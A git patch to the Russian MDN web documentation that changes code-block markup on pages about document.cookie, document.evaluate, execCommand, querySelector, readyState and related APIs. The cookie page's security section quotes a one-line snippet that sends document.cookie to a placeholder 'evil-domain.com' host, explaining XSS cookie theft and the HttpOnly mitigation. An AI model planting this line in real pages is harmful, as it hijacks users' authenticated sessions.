From 980fe00a74a9ad013b945755415ace2e5429c3c2 Mon Sep 17 00:00:00 2001 From: Alexey Pyltsyn Date: Wed, 27 Oct 2021 02:31:24 +0300 Subject: [RU] Remove notranslate (#2874) --- files/ru/web/api/document/cookie/index.html | 42 +++++++++++----------- files/ru/web/api/document/evaluate/index.html | 6 ++-- files/ru/web/api/document/execcommand/index.html | 4 +-- files/ru/web/api/document/head/index.html | 4 +-- files/ru/web/api/document/queryselector/index.html | 8 ++--- files/ru/web/api/document/readystate/index.html | 8 ++--- files/ru/web/api/document/scroll_event/index.html | 2 +- 7 files changed, 37 insertions(+), 37 deletions(-) (limited to 'files/ru/web/api/document') diff --git a/files/ru/web/api/document/cookie/index.html b/files/ru/web/api/document/cookie/index.html index fa6153145c..4d8ddfdc83 100644 --- a/files/ru/web/api/document/cookie/index.html +++ b/files/ru/web/api/document/cookie/index.html @@ -17,13 +17,13 @@ translation_of: Web/API/Document/cookie

Чтение всех cookies, связанных с текущим документом

-
allCookies = document.cookie;
+
allCookies = document.cookie;

In the code above allCookies is a string containing a semicolon-separated list of all cookies (i.e. key=value pairs). Note that each key and value may be surrounded by whitespace (space and tab characters): in fact RFC 6265 mandates a single space after each semicolon, but some user agents may not abide by this.

- +

В приведённом коде newCookie - строка в виде key=value. Заметьте, у вас есть возможность установить/обновить лишь одну связку key=value за один раз, используя этот метод.  Стоит отметить, что:

@@ -86,21 +86,21 @@ translation_of: Web/API/Document/cookie

Пример #1: Простое использование

-
document.cookie = "name=oeschger";
+
document.cookie = "name=oeschger";
 document.cookie = "favorite_food=tripe";
 function alertCookie() {
   alert(document.cookie);
 }
 
-
<button onclick="alertCookie()">Show cookies</button>
+
<button onclick="alertCookie()">Show cookies</button>
 

{{EmbedLiveSample('Пример_1_Простое_использование', 200, 36)}}

-
document.cookie = "test1=Hello";
+
document.cookie = "test1=Hello";
 document.cookie = "test2=World";
 
 var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");
@@ -110,7 +110,7 @@ function alertCookieValue() {
 }
 
-
<button onclick="alertCookieValue()">Show cookie value</button>
+
<button onclick="alertCookieValue()">Show cookie value</button>

{{EmbedLiveSample('Пример_2_Получить_cookie_с_именем_test2', 200, 36)}}

@@ -118,30 +118,30 @@ function alertCookieValue() {

При использовании следующего кода замените все вхождения doSomethingOnlyOnce (наименование cookie) на другое имя.

-
function doOnce() {
+
function doOnce() {
   if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
     alert("Do something here!");
     document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
   }
 }
-
<button onclick="doOnce()">Only do something once</button>
+
<button onclick="doOnce()">Only do something once</button>

{{EmbedLiveSample('Пример_3_Выполнить_операцию_единожды', 200, 36)}}

-
function resetOnce() {
+
function resetOnce() {
   document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
 }
-
<button onclick="resetOnce()">Reset only once cookie</button>
+
<button onclick="resetOnce()">Reset only once cookie</button>

{{EmbedLiveSample('Пример_4_Перезагрузить_cookie', 200, 36)}}

-
//ES5
+
//ES5
 
 if (document.cookie.split(';').filter(function(item) {
     return item.trim().indexOf('reader=') == 0
@@ -157,7 +157,7 @@ if (document.cookie.split(';').filter((item) => item.trim().startsWith('reade
 
 
 
-
//ES5
+
//ES5
 
 if (document.cookie.split(';').filter(function(item) {
     return item.indexOf('reader=1') >= 0
@@ -177,7 +177,7 @@ if (document.cookie.split(';').filter((item) => item.includes('reader=1')).le
 
 

Cookies are often used in web application to identify a user and their authenticated session. So stealing cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -

-
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
+
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
 

The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about Cookies and Security.

@@ -195,7 +195,7 @@ if (document.cookie.split(';').filter((item) => item.includes('reader=1')).le -
HTTP/1.0 200 OK
+
HTTP/1.0 200 OK
 Content-type: text/html
 Set-Cookie: cookie_name1=cookie_value1
 Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
@@ -204,7 +204,7 @@ Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
 
 
The client sends back to the server its cookies previously stored
-
GET /sample_page.html HTTP/1.1
+
GET /sample_page.html HTTP/1.1
 Host: www.example.org
 Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
 Accept: */*
@@ -216,7 +216,7 @@ Accept: */*
 
 
Library
-
/*\
+
/*\
 |*|
 |*|  :: Translate relative paths to absolute paths ::
 |*|
@@ -239,7 +239,7 @@ function relPathToAbs (sRelPath) {
 
 
Sample usage
-
/* Let us be in /en-US/docs/Web/API/document.cookie */
+
/* Let us be in /en-US/docs/Web/API/document.cookie */
 
 alert(location.pathname);
 // displays: /en-US/docs/Web/API/document.cookie
@@ -260,7 +260,7 @@ alert(relPathToAbs("../Guide/././API/../../../Firefox"));
 
 

If you don't want to use an absolute date for the end parameter, here you can find some numeric examples of expiration-dates relative to the moment of storage of the cookie:

-
docCookies.setItem("mycookie1", "myvalue1", 864e2, "/"); // this cookie will expire in one DAY
+
docCookies.setItem("mycookie1", "myvalue1", 864e2, "/"); // this cookie will expire in one DAY
 docCookies.setItem("mycookie2", "myvalue2", 6048e2, "/"); // this cookie will expire in one WEEK
 docCookies.setItem("mycookie3", "myvalue3", 2592e3, "/"); // this cookie will expire in one MONTH (30 days)
 docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will expire in one YEAR
@@ -271,7 +271,7 @@ docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will e

Библиотека

-
function executeOnce () {
+
function executeOnce () {
   var argc = arguments.length, bImplGlob = typeof arguments[argc - 1] === "string";
   if (bImplGlob) { argc++; }
   if (argc < 3) { throw new TypeError("executeOnce - not enough arguments"); }
@@ -286,7 +286,7 @@ docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will e
 
 

Синтаксис

-
executeOnce(callback[, thisObject[, argumentToPass1[, argumentToPass2[, …[, argumentToPassN]]]]], identifier[, onlyHere])
+
executeOnce(callback[, thisObject[, argumentToPass1[, argumentToPass2[, …[, argumentToPassN]]]]], identifier[, onlyHere])

Описание

@@ -309,7 +309,7 @@ docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will e

Примеры использования

-
function alertSomething (sMsg) {
+
function alertSomething (sMsg) {
   alert(sMsg);
 }
 
diff --git a/files/ru/web/api/document/evaluate/index.html b/files/ru/web/api/document/evaluate/index.html
index d2839a3bc1..ec48166876 100644
--- a/files/ru/web/api/document/evaluate/index.html
+++ b/files/ru/web/api/document/evaluate/index.html
@@ -9,7 +9,7 @@ translation_of: Web/API/Document/evaluate
 
 

Синтаксис

-
var xpathResult = document.evaluate(
+
var xpathResult = document.evaluate(
  xpathExpression,
  contextNode,
  namespaceResolver,
@@ -27,7 +27,7 @@ translation_of: Web/API/Document/evaluate
 
 

Пример

-
var headings = document.evaluate("/html/body//h2", document, null, XPathResult.ANY_TYPE, null);
+
var headings = document.evaluate("/html/body//h2", document, null, XPathResult.ANY_TYPE, null);
 /* Найти в документе все элементы h2
  * В качестве результата будет получен узловой итератор. */
 var thisHeading = headings.iterateNext();
@@ -43,7 +43,7 @@ alert(alertText); // Показывает alert со всеми найденны
 
 

Further optimization can be achieved by careful use of the context parameter. For example, if you know the content you are looking for is somewhere inside the body tag, you can use this:

-
document.evaluate(".//h2", document.body, null, XPathResult.ANY_TYPE, null);
+
document.evaluate(".//h2", document.body, null, XPathResult.ANY_TYPE, null);
 

Notice in the above document.body has been used as the context instead of document so the XPath starts from the body element. (In this example, the "." is important to indicate that the querying should start from the context node, document.body. If the "." was left out (leaving //h2) the query would start from the root node (html) which would be more wasteful.)

diff --git a/files/ru/web/api/document/execcommand/index.html b/files/ru/web/api/document/execcommand/index.html index d89c32ba30..ff6d160278 100644 --- a/files/ru/web/api/document/execcommand/index.html +++ b/files/ru/web/api/document/execcommand/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/Document/execCommand

Синтаксис

-
execCommand(String aCommandName, Boolean aShowDefaultUI, String aValueArgument)
+
execCommand(String aCommandName, Boolean aShowDefaultUI, String aValueArgument)
 

Аргументы

@@ -267,7 +267,7 @@ translation_of: Web/API/Document/execCommand

Пример

-
iframeNode.execCommand("bold"); // Жирный текст
+
iframeNode.execCommand("bold"); // Жирный текст
 iframeNode.execCommand("undo"); // Отмена последнего действия
 iframeNode.execCommand("insertText", false, "Lorem ipsum dolor sit amet, consectetur adipisicing elit."); // Вставка текста
 
diff --git a/files/ru/web/api/document/head/index.html b/files/ru/web/api/document/head/index.html index 85fdcb7b64..78c09b0450 100644 --- a/files/ru/web/api/document/head/index.html +++ b/files/ru/web/api/document/head/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/Document/head

Синтаксис

-
var objRef = document.head;
+
var objRef = document.head;
 
@@ -26,7 +26,7 @@ translation_of: Web/API/Document/head

Пример

-
<!doctype html>
+
<!doctype html>
 <head id="my-document-head">
   <title>Example: using document.head</title>
 </head>
diff --git a/files/ru/web/api/document/queryselector/index.html b/files/ru/web/api/document/queryselector/index.html
index 1202819d7c..0f2dbb4229 100644
--- a/files/ru/web/api/document/queryselector/index.html
+++ b/files/ru/web/api/document/queryselector/index.html
@@ -22,7 +22,7 @@ translation_of: Web/API/Document/querySelector
 
 

Синтаксис

-
element = document.querySelector(selectors);
+
element = document.querySelector(selectors);
 

Параметры

@@ -59,7 +59,7 @@ translation_of: Web/API/Document/querySelector

Чтобы сопоставить ID или селекторы, которые не соответствуют стандартному синтаксису CSS (например, использующих ненадлежащим образом двоеточие или пробел), необходимо экранировать символ обратной косой чертой ("\"). Поскольку обратная косая черта также является экранирующим символом в JavaScript, то при вводе литеральной строки необходимо экранировать её дважды (первый раз для строки JavaScript и второй для querySelector()):

-
<div id="foo\bar"></div>
+
<div id="foo\bar"></div>
 <div id="foo:bar"></div>
 
 <script>
@@ -80,14 +80,14 @@ translation_of: Web/API/Document/querySelector
 
 

В этом примере, нам вернётся первый элемент в документе с классом "myclass":

-
var el = document.querySelector(".myclass");
+
var el = document.querySelector(".myclass");
 

Более сложный селектор

Селекторы, передаваемые в querySelector, могут быть использованы и для точного поиска, как показано в примере ниже. В данном примере возвращается элемент <input name="login"/>, находящийся в <div class="user-panel main">:

-
var el = document.querySelector("div.user-panel.main input[name=login]");
+
var el = document.querySelector("div.user-panel.main input[name=login]");
 

Спецификации

diff --git a/files/ru/web/api/document/readystate/index.html b/files/ru/web/api/document/readystate/index.html index fee81eb14b..050cbbf190 100644 --- a/files/ru/web/api/document/readystate/index.html +++ b/files/ru/web/api/document/readystate/index.html @@ -16,7 +16,7 @@ translation_of: Web/API/Document/readyState

Синтаксис

-
var string = document.readyState;
+
var string = document.readyState;

Значения

@@ -37,7 +37,7 @@ translation_of: Web/API/Document/readyState

Разные состояния загрузки страницы

-
switch (document.readyState) {
+
switch (document.readyState) {
   case "loading":
     // Страница все ещё загружается
     break;
@@ -56,7 +56,7 @@ translation_of: Web/API/Document/readyState
 
 

readystatechange как альтернатива событию DOMContentLoaded

-
// альтернатива событию DOMContentLoaded
+
// альтернатива событию DOMContentLoaded
 document.onreadystatechange = function () {
   if (document.readyState == "interactive") {
     initApplication();
@@ -65,7 +65,7 @@ document.onreadystatechange = function () {
 
 

readystatechange как альтернатива событию load

-
// альтернатива событию load
+
// альтернатива событию load
 document.onreadystatechange = function () {
   if (document.readyState == "complete") {
     initApplication();
diff --git a/files/ru/web/api/document/scroll_event/index.html b/files/ru/web/api/document/scroll_event/index.html
index 5b50a26c31..ec8d9fd4a2 100644
--- a/files/ru/web/api/document/scroll_event/index.html
+++ b/files/ru/web/api/document/scroll_event/index.html
@@ -50,7 +50,7 @@ translation_of: Web/API/Document/scroll_event
 
 

Обратите внимание, однако, что входные события и кадры анимации запускаются примерно с одинаковой скоростью, и поэтому приведённая ниже оптимизация зачастую не требуется. В примере ниже оптимизируется событие scroll для requestAnimationFrame:

-
// Источник: http://www.html5rocks.com/en/tutorials/speed/animations/
+
// Источник: http://www.html5rocks.com/en/tutorials/speed/animations/
 
 let last_known_scroll_position = 0;
 let ticking = false;
-- 
cgit v1.2.3-54-g00ecf